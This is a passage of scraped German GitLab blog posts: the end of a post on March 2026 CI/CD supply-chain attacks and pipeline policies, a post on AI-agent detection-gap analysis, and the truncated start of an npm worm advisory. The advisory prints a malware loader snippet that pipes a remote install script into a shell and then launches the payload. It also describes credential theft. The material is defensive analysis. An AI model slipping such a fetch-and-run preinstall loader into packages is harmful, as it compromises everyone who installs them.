unbekannte Dependency würde durch die Erkennung nicht deklarierter Dependencies gemeldet. Die Version `axios@1.14.1` wird durch den Blocked-Package-Scan erkannt. Die `.pth`-Datei von LiteLLM wird durch die .pth-Erkennung gefunden. Jeder Angriff hat mindestens ein – und oft zwei – unabhängige Erkennungssignale.\n\n\n### Use Case 3: Kompromittierte Tools vor der Ausführung erkennen und blockieren\n\n\n**Problem:** TeamPCP ersetzte vertrauenswürdige Trivy- und Checkmarx-GitHub-Action-Tags durch bösartige Versionen. Jede Pipeline, die diese Tags referenzierte, führte Credential-Stealing-Malware aus.\n\n\n**PEP-Ansatz:** Die [Tool Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injiziert einen `.pipeline-policy-pre`-Job, der die GitLab CI Lint API abfragt (oder als Fallback die `.gitlab-ci.yml` auswertet), die Container-Image-Referenzen extrahiert und mit einer vom Security-Team gepflegten Allowlist genehmigter Images abgleicht.\n\n\nDie Allowlist (`approved-images.yml`) unterstützt drei Kontrollen pro Image:\n\n\n**Genehmigte Repositories:** Nur Images aus gelisteten Repositories sind zulässig. Ein unbekanntes Repository blockiert die Pipeline.\n\n\n**Erlaubte Tags:** Innerhalb eines genehmigten Repositorys sind nur bestimmte Tags zulässig. Das verhindert den Drift zu ungetesteten Versionen.\n\n\n**Blockierte Tags:** Bekannte kompromittierte Versionen können explizit blockiert werden, selbst wenn das Repository genehmigt ist. Die mitgelieferte Allowlist blockiert `aquasec/trivy:0.69.4` bis `0.69.6` – genau die Versionen, die TeamPCP trojanisiert hatte.\n\n\nBei einem erkannten Verstoß schlägt die Pipeline fehl, bevor ein anderer Job ausgeführt wird:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n - tag '0.69.4' is known-compromised\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Allowlist wird über Merge Requests gegen das Policy-Projekt gepflegt. Um ein neues genehmigtes Image hinzuzufügen, öffnet das Security-Team einen MR. Um auf eine neue Kompromittierung zu reagieren, wird ein blockierter Tag hinzugefügt. Keine Code-Änderungen nötig – nur YAML.\n\n\n**Was das abfängt:** Wenn Images mit nicht genehmigten Tags erkannt werden, vergleicht die Policy die Image-Repository-Namen und Tags mit der Allowlist. Ein fehlgeschlagener Abgleich blockiert die Pipeline, bevor ein Scanner ausgeführt wird – und verhindert so die Exfiltration von Zugangsdaten.\n\n\n*Hinweis: Durch Erweiterung des obigen Beispiels können PEPs auch das Pinning auf Digests statt Tags erzwingen, was gegen Force-Pushes immun ist. Dieses Beispiel demonstriert ein einfacheres Tag-basiertes Enforcement-Muster.*\n\n\n## Über PEPs hinaus: GitLabs Supply-Chain-Schutzmaßnahmen\n\n\nPipeline Execution Policies sind die Enforcement-Schicht – sie funktionieren aber am besten als Teil einer breiteren Defense-in-Depth-Strategie. GitLab bietet mehrere Funktionen, die PEPs beim Supply-Chain-Schutz ergänzen:\n\n\n### Secret Detection\n\n\n[GitLab Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) verhindert, dass Zugangsdaten überhaupt im Repository landen, und reduziert so erheblich, was ein kompromittiertes Pipeline-Tool abgreifen kann. Im Kontext der Angriffe vom März 2026:\n\n\n* In Repositories gespeicherte Zugangsdaten sind sowohl leichter für Angreifer auffindbar als auch langsamer zu rotieren. Der Trivy-Vorfall zeigte, dass selbst der Rotationsprozess ausgenutzt werden kann: Die Rotation von Aqua Security war nicht atomar, und der Angreifer erbeutete neu ausgestellte Tokens, bevor die alten vollständig widerrufen waren. GitLab Secret Detection umfasst die automatische Revokation geleakter GitLab-Tokens sowie eine Partner-API, die Drittanbieter benachrichtigt, damit diese ihre Zugangsdaten widerrufen – das beschleunigt die Reaktion im Falle eines Sicherheitsvorfalls.\n\n\n* Secret Detection in Kombination mit ordnungsgemäßem Secret-Management (kurzlebige Tokens, Vault-gestützte Zugangsdaten, minimale Pipeline-Secret-Exposition) begrenzt, was ein Angreifer erreichen kann – selbst wenn ein vertrauenswürdiges Tool kompromittiert wird.\n\n\n### Dependency Scanning via Software Composition Analysis (SCA)\n\n\n[GitLab Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) identifiziert bekannte Schwachstellen in Projektabhängigkeiten durch Analyse von Lockfiles und Manifests. Im Kontext der Angriffe vom März 2026:\n\n\n* Für LiteLLM werden die kompromittierten Versionen (1.82.7, 1.82.8) in GitLabs Advisory-Datenbank geführt und betroffene Python-Projekte automatisch gemeldet.\n\n\n* Für axios identifiziert Dependency Scanning die kompromittierten Versionen (1.14.1, 0.30.4) über alle Projekte der Organisation hinweg – das gibt Security-Teams eine zentrale Ansicht zur Bewertung des Blast-Radius und zur Priorisierung der Credential-Rotation.\n\n\n* Ebenso werden alle npm-Pakete, die durch die CanisterWorm-Propagation von TeamPCP kompromittiert wurden, gemeldet, wenn sie in Verwendung sind.\n\n\n[GitLab Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) erkennt verwundbare Container-Images in den Deployments. Für den Trivy-Vorfall meldet Container Scanning die trojanisierten Trivy-Docker-Images (0.69.4 bis 0.69.6), wenn sie in der Container Registry oder in Deployment-Manifests auftauchen.\n\n\n### Merge-Request-Approval-Policies\n\n\n[Merge-Request-Approval-Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) können die Genehmigung durch das Security-Team erfordern, bevor Änderungen an Dependency-Lockfiles oder CI/CD-Konfigurationen gemergt werden. Das stellt einen menschlichen Kontrollpunkt für genau die Art von Änderungen sicher, die Supply-Chain-Angriffe typischerweise einführen.\n\n\n### Demnächst: Dependency Firewall, Artifact Registry und SLSA Level 3 Attestation & Verification\n\n\nKommende Supply-Chain-Sicherheitsfunktionen in GitLab härten die Policy-Durchsetzung an zwei kritischen Kontrollpunkten: der Registry und der Pipeline. Die Dependency Firewall und Artifact Registry werden nicht-konforme Pakete blockieren, während die SLSA-Level-3-Attestation kryptografischen Nachweis liefert, dass Artefakte von genehmigten Pipelines erzeugt wurden und unverändert geblieben sind. Zusammen geben sie Security-Teams verifizierbare Kontrolle darüber, was in die Software-Supply-Chain eingeht und diese verlässt.\n\n\n## Was das für deine Organisation bedeutet\n\n\nInmitten zunehmender AI-gestützter Bedrohungen werden Angriffe auf CI/CD-Pipelines alltäglich. Die TeamPCP-Kampagne zeigt, wie ein einziges kompromittiertes Zugangsdaten-Set über ein Ökosystem vertrauenswürdiger Tools kaskadieren kann.\n\n\nWenn deine Organisation eine der betroffenen Komponenten eingesetzt hat, gehe davon aus, dass alle Pipeline-Secrets kompromittiert wurden: Rotiere sie umgehend und überprüfe Systeme auf persistente Backdoors. Unabhängig davon begrenzt die regelmäßige Rotation von Zugangsdaten und die Verwendung kurzlebiger Tokens den Blast-Radius jeder zukünftigen Kompromittierung.\n\n\nFolgendes empfehlen wir:\n\n\n1. **Dependencies wenn möglich an Prüfsummen pinnen.** Veränderliche Versions-Tags (wie die, die TeamPCP gekapert hat) sind keine Sicherheitsgrenze. SHA-gepinnte Referenzen für alle [CI/CD-Komponenten](https://docs.gitlab.com/ci/components/#manage-dependencies) oder Actions und Container-Images verwenden.\n\n\n2. **Pre-Execution-Integritätsprüfungen ausführen.** Pipeline Execution Policies nutzen, um die Integrität von Tools und Dependencies *vor* der Ausführung jedes Pipeline-Jobs zu verifizieren. Das ist die `.pipeline-policy-pre`-Stage.\n\n\n3. **Prüfen, was veröffentlicht wird.** Jeder Package-Publish-Schritt sollte eine automatisierte Validierung des Artefaktinhalts umfassen. Source Maps, Environment-Dateien und interne Konfigurationen sollten die Build-Umgebung niemals verlassen. Das [Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet einen sofort einsetzbaren Ausgangspunkt für npm-, Docker- und Helm-Artefakte.\n\n\n4. **Dependency-Drift erkennen.** Dependency-Auflösungen bei jedem Pipeline-Lauf gegen committete Lockfiles vergleichen. Auf unerwartete neue Dependencies achten.\n\n\n5. **Policy-Management zentralisieren.** Sich nicht darauf verlassen, dass Entwicklungsteams daran denken, Security-Checks einzubinden. Diese auf Gruppen- oder Instanzebene über Policies durchsetzen, die nicht entfernt oder übersprungen werden können.\n\n\n6. **Davon ausgehen, dass Security-Tools selbst Ziele sind.** Wenn dein Vulnerability-Scanner, SAST-Tool oder AI-Gateway kompromittiert werden kann, wird es das auch. Jedes Tool auf die minimal notwendigen Berechtigungen beschränken und sicherstellen, dass es auf nichts anderes zugreifen kann.\n\n\n## Schütze deine Pipelines mit GitLab\n\n\nInnerhalb von zwei Wochen kompromittierten Angreifer Produktions-Pipelines bei Organisationen, die einige der am weitesten verbreiteten Tools im Software-Entwicklungs-Ökosystem einsetzten.\n\n\nDie Lektion ist klar: Build-Pipelines brauchen denselben Grad an zentralem, Policy-gesteuertem Schutz, den wir auf Netzwerke und Cloud-Infrastruktur anwenden.\n\n\nGitLab Pipeline Execution Policies bieten diese Enforcement-Schicht. Sie stellen sicher, dass Security-Checks in jeder Pipeline und in jedem Projekt ausgeführt werden – unabhängig von den einzelnen Projektkonfigurationen. In Kombination mit Dependency Scanning, Secret Detection und Merge-Request-Approval-Policies können sie die Angriffsklassen, die wir im März 2026 erlebt haben, blockieren, erkennen und eindämmen.\n\n\nDas [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet eine funktionsfähige Pipeline Execution Policy, die genau die Fehlerklasse abfängt, die hinter dem Leak des großen AI-Unternehmens steckt – mit Abdeckung für npm-Pakete, Docker-Images und Helm-Charts. Klone es, deploye es in deiner Gruppe und stelle sicher, dass alle deine Pipelines für kommende Supply-Chain-Angriffe gewappnet sind.\n\n\nUm mit zentralen Pipeline-Policies zu starten, registriere dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/devsecops/).\n\n\n\n*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Abschnitt 27A des Securities Act von 1933 in der jeweils gültigen Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir davon ausgehen, dass die in diesen Aussagen wiedergegebenen Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren finden sich unter der Überschrift „Risk Factors\" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu revidieren, sofern dies nicht gesetzlich vorgeschrieben ist.*\n","Pipeline-Sicherheit: Lehren aus den Supply-Chain-Angriffen im März","Erfahre, wie zentrale Pipeline-Policies die Angriffsmuster hinter einer Reihe aktueller Supply-Chain-Attacken erkennen und blockieren können.",[798,786,905,828],[1198],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-04-07",{"featured":687,"template":836,"slug":1228},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":1230,"config":1240},{"body":1231,"category":810,"date":1232,"tags":1233,"title":1235,"description":1236,"authors":1237,"heroImage":1239},"Nach einem Vorfall stellt sich jeder Incident-Response- und Security-Operations-Bereich dieselbe unbequeme Frage: Was haben wir übersehen, und warum? Eine gründliche Antwort erfordert echte Arbeit – jemand muss die Incident-Timeline durcharbeiten, die Angreiferaktionen auf Erkennungsmöglichkeiten mappen, die Alarme identifizieren, die hätten ausgelöst werden sollen, und diese Erkenntnisse in konkrete Verbesserungen übersetzen. Manuell durchgeführt ist das zeitaufwändig, inkonsistent und leicht zu deprioritisieren, wenn der nächste Vorfall bereits vor der Tür steht.\n\nDas Signals Engineering Team bei GitLab ist verantwortlich für den Aufbau und die Pflege der Erkennungsregeln, die die Plattform und das Unternehmen schützen. Wir kennen das Detection-Gap-Problem aus eigener Erfahrung und haben die Gap-Analyse mit dem [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) automatisiert, um unsere Bewertung dieser Lücken und deren Schließung zu verbessern.\n\nIn diesem Artikel beschreiben wir unseren Ansatz – mit zwei KI-Agenten, die sich in der eigenen Umgebung einsetzen lassen: dem integrierten Security Analyst Agent und einem selbst entwickelten Agent namens Detection Engineering Assistant.\n\n## Das Detection-Gap-Problem\n\nEine Detection Gap ist genau das, was der Name vermuten lässt: Ein Angreifer hat eine Aktion durchgeführt, und die eigenen Erkennungsregeln haben sie nicht erfasst. Gap-Analyse ist der Prozess, bei dem Sicherheitsvorfälle systematisch ausgewertet werden, um diese verpassten Erkennungsmöglichkeiten zu identifizieren und festzulegen, welche neuen oder verbesserten Regeln die Lücken schließen würden.\n\nDie Herausforderung liegt nicht im konzeptionellen Verständnis. Sie liegt darin, dass die Analyse ein sorgfältiges, methodisches Durcharbeiten von Incident-Daten erfordert und die Ereignisse mit der eigenen Erkennungsabdeckung abgeglichen werden müssen. Bei einem einzelnen Vorfall gelingt das einer erfahrenen Analystin oder einem erfahrenen Analysten gut. Über einen kontinuierlichen Strom von Vorfällen hinweg, mit mehreren beteiligten Engineers, ist Konsistenz schwer aufrechtzuerhalten – die Auswertung wird leicht oberflächlich.\n\nZiel war ein Prozess, der reproduzierbar, gründlich und direkt in dem Workflow verankert ist, in dem Sicherheitsvorfälle bereits dokumentiert werden: GitLab Issues.\n\n## Was ist GitLab Duo Agent Platform?\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-is-generally-available/) ist GitLabs Framework zum Aufbau und Betrieb von KI-Agenten, die eigenständig planen, Aktionen ausführen und nativ mit GitLab-Ressourcen wie Issues, Merge Requests und Code interagieren. Anders als ein einfaches Chat-Interface lassen sich Agenten in Duo Agent Platform mit spezifischen Rollen, Domänenwissen und Werkzeugzugang ausstatten – und sind dadurch für domänenspezifische Workflows wie Security Operations geeignet.\n\nDuo Agent Platform bietet zwei Wege:\n\n1. **Vordefinierten Agent nutzen** – GitLab liefert mehrere fertig konfigurierte Agenten aus, darunter einen Security Analyst Agent für sicherheitsbezogene Aufgaben.\n2. **Eigenen Agent entwickeln** – Ein benutzerdefinierter Agent lässt sich in wenigen Minuten erstellen: Name, Beschreibung und System-Prompt genügen. Der System-Prompt ist dabei das eigentliche Herzstück.\n\nBeide Wege sind für die Detection-Gap-Analyse geeignet.\n\n## 1. Security Analyst Agent\n\nDer einfachste Einstieg ist der [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/), der mit Sicherheits-Domänenwissen vorkonfiguriert ist und direkt aus einem GitLab Issue aufgerufen werden kann.\n\nFür die Gap-Analyse navigieren wir zu einem abgeschlossenen Incident-Issue und bitten den Agent, Beschreibung, Timeline, Aufgaben und Kommentare auf fehlende oder unzureichende Erkennungsregeln zu prüfen. Der Agent liest den gesamten Issue-Inhalt – einschließlich Kommentare, verknüpfte Artefakte und Timeline-Details – und leitet daraus potenzielle Lücken ab. Er kann nicht erkannte Taktiken, Techniken und Vorgehensweisen (TTPs) auf MITRE ATT&CK mappen und Bereiche vorschlagen, in denen neue Erkennungsregeln die Abdeckung verbessern würden.\n\nDas eignet sich gut für einen ersten Durchgang, insbesondere wenn Incident-Issues gut dokumentiert sind. Der Security Analyst Agent verfügt über Wissen zu allgemeinen Sicherheitskonzepten, typischen Angreiferverhalten und Erkennungsprinzipien. Für Teams, die mit KI-gestütztem Betrieb beginnen, bietet er sofortigen Mehrwert ohne Konfigurationsaufwand.\n\nAllerdings kennt der vordefinierte Agent die spezifische Umgebung nicht – das eigene SIEM, die Log-Quellen, den Detection Stack oder die teameigenen Detection-Engineering-Standards. Die Empfehlungen sind zwar fachlich korrekt, treffen aber manchmal nicht den konkreten Kontext, der für umsetzbare Erkennungsregeln erforderlich ist. Das war der Ausgangspunkt für die Entwicklung eines eigenen Agents.\n\n## 2. Den Detection Engineering Assistant entwickeln\n\n[Einen benutzerdefinierten Agent in GitLab Duo Agent Platform zu erstellen](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) ist unkompliziert. Im Duo Agent Platform Interface wird dem Agent ein Name gegeben (bei uns: **Detection Engineering Assistant**), eine kurze Beschreibung und ein System-Prompt. Damit ist der Agent einsatzbereit.\n\nDer System-Prompt ist der entscheidende Teil. Er ist die Wissensbasis des Agents: alles, was er über das Team, die Umgebung, die Standards und die eigene Arbeitsweise wissen soll. Ein dünner, vager System-Prompt liefert dünne, vage Ergebnisse. Ein ausführlicher, sorgfältig ausgearbeiteter System-Prompt erzeugt einen Agent, der sich wie ein fachkundiges Teammitglied verhält.\n\nSo sind wir beim Schreiben des System-Prompts für den Detection Engineering Assistant vorgegangen:\n\n### Rolle und Aufgabenbereich klar definieren\n\nDer System-Prompt beginnt damit, dem Agent genau mitzuteilen, was er ist und wofür er verantwortlich ist – nicht nur „du bist ein Security Analyst\", sondern konkret: „Du bist der Detection Engineering Assistant für GitLabs Signals Engineering Team, verantwortlich für die Analyse von Sicherheitsvorfällen und die Identifizierung von Lücken in unserer Erkennungsabdeckung.\" Diese Rahmung verankert jede Antwort des Agents.\n\n### Erkennungsphilosophie kodieren\n\nWir haben festgehalten, was für uns eine gute Erkennung ausmacht: niedrige False-Positive-Rate, hohe Signalqualität und umsetzbare Alarme, die Responders den notwendigen Kontext liefern. Außerdem haben wir unsere Präferenz für verhaltensbasierte Erkennungen gegenüber IOC-basierten Erkennungen beschrieben und wie wir den Zielkonflikt zwischen Abdeckungsbreite und Alert-Fatigue abwägen.\n\n### Tech-Stack und Log-Quellen als Kontext mitgeben\n\nEin Agent kann nur empfehlen, was tatsächlich umsetzbar ist. Wir haben dem Agent mitgeteilt, welche Log-Quellen wir erfassen, wie unser SIEM aufgebaut ist und welche Daten verfügbar sind. Damit empfiehlt er neue Erkennungsregeln in Bezug auf das, was wir tatsächlich implementieren können – nicht auf Basis hypothetischer Telemetrie.\n\n### In MITRE ATT&CK verankern\n\nDer Agent wurde angewiesen, Gap-Findings anhand von ATT&CK-Taktiken und -Techniken zu strukturieren. Das liefert konsistente, strukturierte Ausgaben, die direkt auf unser internes Coverage-Tracking mappen und die Priorisierung der zu schließenden Lücken vereinfachen.\n\n### Ausgabeformat festlegen\n\nWir haben genau vorgegeben, was der Agent produzieren soll: eine strukturierte Liste von Detection Gaps, jeweils mit der relevanten ATT&CK-Technik, einer Beschreibung des Versäumten, der Log-Quelle oder den Daten, die eine Erkennung ermöglichen würden, sowie einem empfohlenen Ansatz. Ein einheitliches Ausgabeformat erleichtert die Triage und die Überführung in Engineering-Aufgaben.\n\n### Beispiel-System-Prompt\n\n*Hinweis: Unser vollständiger System-Prompt für den Detection Engineering Assistant umfasst 1.870 Wörter und 337 Zeilen. Das folgende Beispiel zeigt nur einen kleinen Ausschnitt.*\n\n```text\nDu bist der Detection Engineering Assistant für GitLabs Security Operations Team. Deine Aufgabe: abgeschlossene Incidents analysieren und Lücken in unserer Detection-Coverage identifizieren.\n\nBeim Review eines Incidents:\n1. Identifiziere jede Angreifer-Aktion oder -Technik aus der Incident-Timeline\n2. Bewerte für jede Aktion, ob unsere bestehenden Detections sie erfasst hätten\n3. Dokumentiere nicht erkannte Aktionen als Detection Gap\n\nFür jeden Gap:\n- MITRE ATT&CK Technique ID und Name (z. B. T1078 – Valid Accounts)\n- Kurze Beschreibung: was passierte, warum nicht erkannt\n- Log-Quelle oder Telemetrie, die einen Detection-Ansatz ermöglichen würde (z. B. Auth-Logs, Process-Execution-Events, Netzwerkflüsse)\n- Empfohlener Detection-Ansatz, umsetzbar in unserem SIEM\n\nUnser SIEM erfasst [Log-Quellen]. Wir bevorzugen verhaltensbasierte Detections gegenüber statischen IOCs. Keine Empfehlungen, die ohne soliden Tuning-Pfad zu erheblichen False Positives führen...\n```\n\nEin so spezifischer System-Prompt liefert deutlich nützlichere Ergebnisse als ein generischer. Der Agent gibt keine allgemeinen Sicherheitsempfehlungen mehr, sondern konkrete Detection-Engineering-Empfehlungen.\n\n## Gap-Analyse an Vorfällen durchführen\n\nMit dem konfigurierten Detection Engineering Assistant ist der Workflow unkompliziert. Nach Abschluss eines Vorfalls wird der Assistant aus dem Incident-Issue in GitLab aufgerufen. Er liest den gesamten Issue – Zusammenfassung, Timeline, Ermittlungsnotizen und verknüpfte Ressourcen – und gibt eine strukturierte Gap-Analyse zurück.\n\nEine typische Ausgabe sieht so aus:\n\n**Gap: Laterale Bewegung über gültige Credentials nicht erkannt**\n\n* **ATT&CK:** T1078.004 – Valid Accounts: Cloud Accounts\n* **Was passierte:** Ein Angreifer verwendete ein gültiges Access Token, um sich bei einer zusätzlichen GitLab-Instanz zu authentifizieren. Kein Alarm wurde ausgelöst, da Authentifizierungs-Baseline-Erkennungen für diese Instanz fehlten.\n* **Log-Quelle:** Authentifizierungslogs von `example.gitlab.com`\n* **Empfohlener Ansatz:** Erkennung erstellen, die bei erstmaliger Authentifizierung eines Nutzerkontos bei `example.gitlab.com` innerhalb eines 90-Tage-Rollfensters auslöst, mit Unterdrückung für Konten mit etablierten Zugriffsmustern.\n\nDiese Art strukturierter Ausgabe fließt direkt in den Engineering-Backlog. Der Agent liefert einen hochwertigen ersten Entwurf – ein Engineer prüft die Findings, verifiziert, ob Lücken bereits durch undokumentierte Erkennungsregeln abgedeckt sind, und ergänzt Kontext, bevor daraus ein Engineering-Issue wird. Die aufwändige Arbeit des Durchlesens und der initialen Analyse ist automatisiert.\n\n## Was wir gelernt haben\n\nDrei Erkenntnisse aus dem Aufbau und der Weiterentwicklung dieses Workflows:\n\n**Der System-Prompt ist ein lebendes Dokument** – Jedes Mal, wenn der Agent eine offensichtliche Lücke übersieht oder das Framing nicht stimmt, wird der Prompt aktualisiert. Die Qualität des Agents spiegelt direkt wider, wie gut das Domänenwissen darin kodiert ist.\n\n**Die Qualität der Incident-Dokumentation ist entscheidend** – Ein Agent kann nur über das urteilen, was aufgeschrieben ist. Vorfälle mit detaillierten, strukturierten Timelines liefern deutlich bessere Gap-Analysen als knappe oder informelle Dokumentationen. Der Aufbau des Gap-Analyse-Workflows hatte einen unerwarteten Nebeneffekt: Er gab uns einen konkreten Grund, unsere Dokumentationsstandards für Vorfälle zu verbessern.\n\n**Das ist ein Kraftmultiplikator, kein Ersatz** – Der Detection Engineering Assistant ersetzt keine erfahrene Detection Engineerin und keinen erfahrenen Detection Engineer, verstärkt deren Wirkung jedoch. Der Mensch prüft die Findings, bewertet die Empfehlungen und trifft die finale Entscheidung darüber, was in den Backlog kommt. Der Aufwand für die initiale Analyse sinkt dabei deutlich, und die Konsistenz über Vorfälle hinweg steigt.\n\n## Einstieg\n\nWer einen eigenen Detection-Gap-Analyse-Agenten entwickeln möchte:\n\n1. Die letzten drei bis fünf abgeschlossenen Vorfälle durchsehen und festhalten, was eine gründliche Gap-Analyse jeweils zutage gefördert hätte.\n2. Aus diesen Beobachtungen einen System-Prompt entwickeln, der die eigene Umgebung, Standards und das gewünschte Ausgabeformat kodiert.\n3. Einen [benutzerdefinierten Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) in GitLab Duo Agent Platform mit diesem Prompt erstellen.\n4. Den Agent gegen einen der Vorfälle laufen lassen und den Prompt auf Basis der Ausgabe iterieren.\n\nDas Detection-Gap-Problem besteht weiterhin. Mit GitLab Duo Agent Platform lässt sich die Analyse jedoch reproduzierbar und konsistent gestalten – direkt dort, wo die Security-Arbeit bereits stattfindet.\n\n> **[GitLab Duo Agent Platform kostenlos testen](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/)**\n","2026-03-10",[798,1234,905,846,828,786,863],"security research","Detection-Gaps automatisch analysieren mit GitLab Duo Agent Platform","GitLab zeigt, wie zwei KI-Agenten die Gap-Analyse nach Sicherheitsvorfällen reproduzierbar und konsistent machen – direkt im GitLab-Workflow.",[1238],"Matt Coons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773147991/op5xyroonltdwqix0x3u.png",{"featured":13,"template":836,"slug":1241},"automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"content":1243,"config":1253},{"title":1244,"description":1245,"heroImage":1246,"body":1247,"date":1248,"category":810,"tags":1249,"authors":1250},"GitLab identifiziert aktiven Lieferketten-Angriff auf npm","Tutorial zur systematischen Bedrohungsanalyse mit IoC-Tabelle für sofortige Überprüfung deutscher Systeme. Koordinierte Reaktion erforderlich.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der \"[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)\"-Malware.\n\nDie Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines **\"Dead-Man's-Switch\"-Mechanismus**: Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.\n\n**GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.**\n\n## NIS2-Relevanz und Meldepflichten\n\nDieser Supply-Chain-Angriff fällt unter die NIS2-Richtlinie Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:\n\n- **Innerhalb 24 Stunden** eine Früherkennung an zuständige Behörden übermitteln\n- Systematische Risikobewertung der eigenen Lieferkette durchführen\n- Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren\n\nDSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.\n\n## Reaktions-Checkliste für deutsche Unternehmen\n\n**Sofortige Überprüfung (innerhalb 1-2 Stunden):**\n\n1. **npm-Pakete scannen**: `npm audit` in allen Projekten ausführen\n2. **Filesystem-Scan**: Suche nach IoC-Indikatoren (siehe Tabelle unten)\n3. **GitHub-Repository-Check**: Suche nach \"Sha1-Hulud: The Second Coming\" in Beschreibungen\n4. **Token-Audit**: Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe\n\n**Systematische Analyse (24-48 Stunden):**\n\n1. Prüfung aller `package.json`-Dateien auf `preinstall`-Scripts mit Bun-Installationen\n2. Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories\n3. Credential-Management-Review gemäß DSGVO Artikel 32\n\n**Koordinierte Reaktion:** Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.\n\n## Anatomie des Angriffs\n\nDas interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:\n\n- Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)\n- Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories\n- Automatische Propagierung durch Infektion weiterer Pakete der Opfer\n- **Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird**\n\nMehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.\n\n## Technische Analyse: Systematischer Bedrohungsverlauf\n\n![Mermaid-Chart des Angriffsverlaufs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\nDie systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.\n\nDiese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.\n\n### Initialer Infektionsvektor\n\nDie Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte `package.json` mit einem Preinstall-Script, das auf `setup_bun.js` verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.\n\n```javascript\n// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Lädt und installiert Bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Führt die eigentliche Malware aus\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nDer `setup_bun.js`-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte `bun_environment.js`-Payload aus – eine 